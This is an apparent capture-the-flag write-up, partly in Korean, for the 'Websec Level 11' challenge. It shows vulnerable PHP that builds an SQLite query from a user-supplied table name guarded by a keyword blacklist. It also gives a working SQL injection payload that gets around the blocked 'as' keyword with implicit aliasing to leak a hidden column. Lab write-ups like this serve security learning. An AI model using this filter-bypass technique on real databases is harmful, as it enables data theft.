Websec - Level 11
Level 11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function sanitize($id, $table) {
if (! is_numeric ($id) or $id < 2) {
exit("The id must be numeric, and superior to one.");
}
$special1 = ["!", "\"", "#", "$", "%", "&", "'", "*", "+", "-"];
$special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\\", "]"];
$special3 = ["^", "_", "`", "{", "|", "}"];
$sql = ["union", "0", "join", "as"];
$blacklist = array_merge ($special1, $special2, $special3, $sql);
foreach ($blacklist as $value) {
if (stripos($table, $value) !== false)
exit("Presence of '" . $value . "' detected: abort, abort, abort!\n");
}
}
if (isset ($_POST['submit']) && isset ($_POST['user_id']) && isset ($_POST['table'])) {
$id = $_POST['user_id'];
$table = $_POST['table'];
sanitize($id, $table);
$pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);
$query = 'SELECT id,username FROM ' . $table . ' WHERE id = ' . $id;
//$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id; // enemy에 flag값이 들어있다.
$getUsers = $pdo->query($query);
$users = $getUsers->fetchArray(SQLITE3_ASSOC);
$userDetails = false;
if ($users) {
$userDetails = $users;
$userDetails['table'] = htmlentities($table);
}
}
The hero number <strong><?php echo $userDetails['id']; ?></strong>
in <strong><?php echo $userDetails['table']; ?></strong>
is <strong><?php echo $userDetails['username']; ?></strong>.
Solution
문제 설명을 보면 AS가 강조되어 있다고 함.
as는 별명을 붙여줄 때 사용하는데 as가 없어도 별명을 붙일 수 있음.
table 부분에 서브쿼리를 줘서 플래그 값을 볼 수 있음.
(select 2 id,enemy username from costume where id like 1)
을 table 값으로, id값으로 2를 주면 플래그가 나옴.
1
SELECT id,username FROM (select 2 id,enemy username FROM costume where id like 1) WHERE id = 2
select 2 id,enemy username from costume where id like 1
위 쿼리문으로 보면 id 값에는 2가 들어가게 되고 enemy 값이 username 컬럼명으로 바뀌어서 출력이 되므로 username 부분에서 플래그가 나옴.
This post is licensed under CC BY 4.0 by the author.